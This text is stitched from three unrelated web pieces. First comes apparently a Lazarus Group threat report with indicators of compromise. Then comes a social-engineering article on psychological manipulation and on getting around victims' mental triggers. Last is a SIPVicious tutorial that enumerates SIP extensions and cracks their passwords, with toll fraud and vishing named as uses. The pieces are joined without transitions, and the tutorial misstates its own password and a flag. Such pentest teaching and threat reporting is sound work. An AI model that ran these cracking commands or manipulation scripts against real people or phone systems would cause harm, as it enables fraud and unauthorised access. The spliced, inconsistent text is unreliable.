Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.

The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.

We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.

Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.

As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.

Data leakage site linked to the COPPERHEDGE backdoor on the dark web

Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.

Overlaps between the recent attacks by Lazarus Group

Conclusion

Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.

We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.

Indicators of compromise

File hashes

TouchShift
ec84d6cb2ae7974767aedac246b50a3e             mscoree.dll
a28cba214058fcae2883d8cffc883abd                mscoree.dll
c105d6b16f544582772de0159f24c00a               mscoree.dll
2f8475a90a25624ed02f1d18d4e6d65d              mscoree.dll
676fabe30a28b53925fba98e34b35986              mscoree.dll
b4a7eff35f048f06fb0a2d7631f23a7d                  mscoree.dll

ClientHub Loader
ff07641dc56914dd90ee0bd7404d7ad7               liblzma.dll

File paths

C:\ProgramData\Package.txt
C:\ProgramData\RasConv\mscoree.dll
C:\ProgramData\Apple\mscoree.dll
C:\ProgramData\ssh\mscoree.dll
C:\ProgramData\qorestor\mscoree.dll
C:\ProgramData\Dell\mscoree.dll
C:\ProgramData\Dell\Dell1.tmp
C:\ProgramData\Dell\Dell3.tmp
C:\Windows\System32\RasConv\mscoree.dll
C:\Windows\System32\RasConv\ActivationStore.dat
C:\Windows\System32\DrvConh\mscoree.dll
C:\Windows\System32\DrvConh\ActivationStore.dat
C:\Program Files\Common Files\System\msadc\msadc.inc
C:\ProgramData\desktops.ini

C2 servers

javadevhouse.co[.]kr
pythonapischool[.]com
hxxps://cubedesign[.]co[.]kr/news            C2 of Cubridge
hxxps://cubedesign[.]co[.]kr/mobile/fashion            C2 of Cubridge
hxxps://fp-news[.]co[.]kr/shop/cart                                C2 of Cubridge
hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php         C2 of ClientHub
hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php    C2 of ClientHub
hxxps://www[.]ksog[.]org/insert_file/handle.php                   C2 of ClientHub

Welcome back, aspiring pentesters!

Social engineering is one of the most important parts of pentesting, and in many real attacks it’s the part that decides whether the whole operation succeeds or fails. Sometimes it even makes the technical side easier. 

Earlier we looked at BadUSB attacks and several persistence methods, and those examples already showed how much can be done when a person simply plugs in a device or follows a convincing instruction. In a pentest, you can achieve real impact after just walking into an office and interacting with the environment without breaking into the corporate network remotely and hoping some serious vulnerability was left unpatched.

Many pentesters are stronger with systems than with people in everyday life. That’s one reason they gravitate toward technical work. Social engineering forces them to step out of that comfort zone even further. But understanding how people make decisions is a practical skill. When you design a scenario with human behavior in mind, the success rate of your interactions can rise. That’s why both red teams and blue teams will benefit from it. 

Evolutionary Legacy

The brain is an old application. It’s software that has been running for thousands of years. New features have been added over time, but the core logic was never fully rewritten. Different developers came and went. Some old functions were never documented. Some code paths were never reviewed. The system kept growing, but the original structure remained inside it.

That is a pretty good description of the human brain.

Our brains are the result of evolution, and the most vulnerable mechanisms are often the oldest ones. These mechanisms helped our ancestors survive in situations where there was no time for deep analysis. We cannot delete that legacy. We can only learn to control it at a higher level of thinking. But the older layer is still there, and every person remains vulnerable to it in the right conditions.

Who Is More Vulnerable?

If you follow the media, you might get the impression that older people are always the easiest targets. Stories about elderly victims are emotionally powerful, so they get more attention. But that does not mean the data supports the stereotype in a simple way. Europol statistics on fraud victims who reported to the police show that the 18-34 age group made up 27.7 percent of victims, the 35-54 group 23.4 percent, the 55-64 group 21.7 percent, and the 65+ group 18.5 percent. That already shows that younger adults are very much in the picture. And that is only the official reporting side.

Age itself does not seem to make a person automatically more or less likely to be deceived. Cognitive ability also does not give the protection many people assume. A joint study by several American universities involving 1,220 participants found no meaningful correlation between cognitive ability and the likelihood of becoming a fraud victim. So being smart does not make you immune. Even very intelligent people can be tricked. Paul Frampton, a respected particle physicist and Nobel Prize candidate, was caught in a simple dating scam that led him to attempt to carry cocaine across a border. That case became famous not because he was foolish, but because it showed that intelligence alone does not protect a person from manipulation.

Vulnerable Optimization

The human brain has barely changed in size for thousands of years, but the amount of information we ask it to process has exploded. An ancient Greek farmer had roughly our brain and a tiny fraction of our information load. Today we face constant messages, deadlines, alerts, meetings, and decisions.

To cope, the brain optimizes. One of its oldest shortcuts is stereotypical sequential behavior (SPB). I’ve seen something like this before, so I’ll react quickly instead of thinking it through. This saves energy and speeds up decisions, which was vital for our ancestors since a fast response to danger could save a life. It’s the short route in thinking, faster and cheaper than analysis, and usually good enough.

Giving a logical reason can raise the success rate, but surprisingly, even a meaningless reason works almost as well. The brain didn’t evaluate the explanation, it simply reacted to the fact that one existed.

Brain DoS

One of the easiest ways to force the brain into this energy-saving mode is to overwhelm it.

Emotional overload is one method. If someone triggers fear, stress, panic, or even strong excitement, they reduce the victim’s ability to think clearly. A frightened person doesn’t evaluate things carefully. They react, and that reaction is often automatic. Positive excitement can work too.

Hackers try to flood the brain with too much information from too many channels at once. A person trying to write a document, answer messages, listen to a coworker, and process notifications in the background will burn out mentally pretty fast. In that state, analysis gets difficult and the brain starts skipping into automatic behavior. That’s why overload is such a powerful social engineering tool. It pushes people away from deliberate thinking and into fast reaction.

Most Common Psychological Exploits

The psychology of influence contains many principles, and they show up everywhere, in marketing, advertising, sales, politics, therapy, and more. But for a hacker writing a phishing email or planning a phone script, only a few of these tend to matter most.

The three big ones are authority, scarcity, and consistency.

Principle of Authority

People naturally trust experts in areas where they themselves aren’t experts. If someone appears qualified, successful, wealthy, or powerful, we tend to listen. That’s part of how we navigate the world.

The real vulnerability is that authority can be faked.

People use white coats on television to sell toothpaste. So-called success coaches pose in front of expensive cars or Dubai skyscrapers to create an illusion of status. Well-known restaurant chains use actors from popular TV shows to advertise food. That’s exactly how fake authority works. The external costume creates the internal belief.

The Milgram experiment is a good demonstration of this. In 1963, participants were willing to obey an authority figure even when it made them uncomfortable and conflicted with their own moral instincts. The lesson is that authority has a very real psychological effect. Evolution plays a part here too. Human society developed through division of labor, and that made us more dependent on specialists. We got used to trusting experts. Hackers abuse that instinct all the time.

Here’s an example of a phishing email that appears to come from a manager and can’t be ignored.

Principle of Scarcity

Scarcity is about the fear of missing out. People value things more when they are rare, limited, or disappearing. A product that says “only three left” feels more urgent. A limited-time offer feels more valuable. Even when the item is not actually better, scarcity makes it feel that way. This is an old human pattern. Imported or hard-to-find goods often seem more valuable than ordinary local alternatives, even when they are not objectively better. The absence of abundance created desirability.

Principle of Consistency

Consistency is one of the least obvious but most effective manipulation principles. 

People prefer to be consistent with their earlier actions and statements. Society rewards consistency. A person who constantly changes their opinion is often viewed as unreliable or weak. A person who follows through is seen as stable and trustworthy. That social pressure matters a lot.

The problem is that being consistent is not the same as being correct. Once a person takes an initial step, they often become more willing to continue in the same direction. That saves mental energy and reduces self-doubt. It also fits the brain’s tendency to follow a behavioral script instead of starting analysis from scratch each time. Patricia Pliner’s study showed this clearly. Participants who first wore a badge supporting cancer research were later much more willing to donate to the cause. The first small commitment made the second one easier.

When a victim has already made a small commitment, continuing becomes easier than stopping.

Exploitation

To turn these principles into real social engineering operations hackers build scenarios. That scenario is most effective in a phone call, because a call allows hackers to guide the victim step by step and react to hesitation. Email phishing can also use these ideas, but the room for dynamic adaptation is smaller. The best phishing messages are not necessarily the loudest. They are the ones that fit the target’s mental state at the exact moment of delivery.

Emails and the 7% rule

In many social engineering assessments, a pattern appears again and again. When you send a large batch of phishing emails, a certain percentage of recipients will almost always act. The exact figure changes by organization, but the baseline rarely disappears.

Even when companies train users, run simulations and repeat awareness courses, there is often still a small percentage of people who click or respond. Why? Because at that moment, some of them are tired, stressed, busy, distracted or simply overloaded. At that moment, the person does not reach the analysis stage.

That is why training alone is not enough. Training helps, but it does not eliminate the human condition.

The most effective emails are often the ones that trigger stress or excitement directly. A message that creates urgency or a strong emotional reaction can overpower careful thinking. Once that happens, hackers move into the next steps.

Trigger Bypass Techniques

Most people have simple mental triggers that hold up even under pressure. The trick is that attackers can sometimes bypass those triggers by shifting the context.

A person might say they never share passwords. But that rule can get bypassed if the attacker presents a password generator, an IT support request, or a command they’re told to run for verification. The target can still believe they’re following their rule, even while being manipulated out of it. Verification habits can also be bypassed with fake signatures, familiar names, or a two-step sequence that starts with something safe. A short first interaction lowers suspicion, and then a second one carries the real pressure. That’s often more effective than starting aggressively. Company rules can be bypassed by changing the frame. A USB drive disguised as a personal gift feels different from an unknown device dropped on a desk. The same object reads very differently depending on the story around it.

That’s why social engineering isn’t about one universal trick. It’s about adapting the story to the trigger.

Protection

For companies, the best defense is a mix of organizational measures, technical controls, and incident response. Training lowers the success rate of simple attacks. Technical controls reduce the damage when someone does make a mistake. And since no defense is perfect, response procedures matter too. Organizations need to know what to do when a suspicious message, call, or request slips through.

Individuals should not be afraid to refuse. Don’t feel obligated to be polite when something feels wrong. If a call creates stress, stop and think instead of reacting automatically. Never make important decisions while overwhelmed. Learn to recognize manipulation patterns, and don’t keep a suspicious conversation going just because the other side sounds official.

Sometimes the safest choice is just to hang up.

Summary

There’s no guaranteed technique for success, and no guaranteed protection either. Human beings are vulnerable because evolution made us efficient, not perfect. That efficiency helps us survive, but it also gives social engineers a way in.

To reduce the probability of these attacks, we offer our Security Awareness and Risk Management training for companies. For pentesters, we offer The Science and Art of Social Engineering, where Master OTW walks you through the tools and techniques needed to become an effective social engineer.

The post Social Engineering: Exploiting Human Psychology in Offensive Security first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

If you’ve worked in an office, you’ve seen those phones on every desk. Some are wireless with a station, others look like regular landline phones. SIP is the language office phones use to sign in and start a call over the network. A phone call over the internet has two parts. First the two sides have to find each other and agree to talk, then the actual voice moves. SIP only handles the first part. The voices themselves travel on a separate path. That’s how most VoIP systems set up calls.

That’s why a stolen SIP password can be an issue. They are stealing the system’s belief that they are that desk phone. Once the handshake accepts them as an extension, say 1000, the phone system treats their laptop like that employee’s handset. They can place calls as other people and in many setups receive their incoming calls too.

Today we’re going to use SIPVicious against SIP and show you how it can be compromised.

Asterisk 

Asterisk is a program that understands SIP and runs the office switchboard. It decides who can sign in, what numbers exist, and who can call whom. It’s one of the most popular programs for SIP.

We set it up in our lab with Docker.

SIPVicious

Next thing we need to have installed is SIPVicious. The installation is pretty simple.

ubuntu > python3 -m venv sipvicious
ubuntu > source sipvicious/bin/activate
ubuntu > pip3 install sipvicious

The tool comes with 5 different commands: svmap, svwar, svcrack, svreport, svcrash.

Each of these commands has a help menu

ubuntu > sipvicious_svmap -h

We’ll use the first three commands for our test. The rest aren’t really important.

Identification

Using svmap we can find out what service the target is running.

ubuntu > sipvicious_svmap 127.0.0.1

Sometimes the results vary depending on whether you provide the extension. The extension is the phone’s account number.

ubuntu > sipvicious_svmap 127.0.0.1 -e 1000

You can look up the version and check whether it’s vulnerable to known exploits

Finding Account Numbers

Extensions are account numbers. They usually start at 1000. Old software will allow enumeration, but modern software ignores your requests, so you won’t be able to find out which accounts exist.

Still, it’s worth trying.

ubuntu > sipvicious_svwar 127.0.0.1 -e 1000-1010

You can also try –force and see what comes back. You’ll most likely see 401 Unauthorized, but that can vary depending on the software you’re testing.

ubuntu > sipvicious_svwar 127.0.0.1 -e 1000-1010 --force

Cracking Passwords

Even if we can look up extensions, we’ll start by trying common ones with our own credentials list. Let’s create a wordlist first.

# creating the list of credentials

ubuntu > printf ‘%s\n’ 1000 1001 admin password asterisk mrsip-lab > sip-pass.txt

ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000 -d sip-pass.txt

mr-siplab was indeed our password for three of those accounts. This let’s take a look at two other ways of getting credentials without a wordlist. 

One option is to test the passwords the tool ships with. The default password set is a numeric range from 100 to 999

ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000

You can also try the –enabledefaults flag. It adds common passwords, including the extension number itself.

ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000 --enabledefauls

This didn’t work in our case, because the password was not predictable. 

We did have three contacts in our Asterisk setup though, and the tool successfully compromised all of them.

What Can Hackers Do

One of the biggest risks is toll fraud. Hackers can use compromised extension credentials to register to the system and place expensive international calls. That’s still the most common attack. Hackers can use compromised accounts to run vishing campaigns against other companies. If hackers are already inside and have the phonebook, they can convince employees and support teams to reset passwords, for example.

Summary

Modern software blocks enumeration of existing users, but it’s still possible given how much outdated software is out there. SIPVicious can identify the software in use and test common extensions for weak passwords. There are a few password attacks it can run with or without a wordlist. Sometimes knowing the version alone is enough to compromise a server and get into the network. Don’t overlook yours and regularly upgrade things.

The post Offensive Security: Pentesting Office Phones with SIPVicious first appeared on Hackers Arise.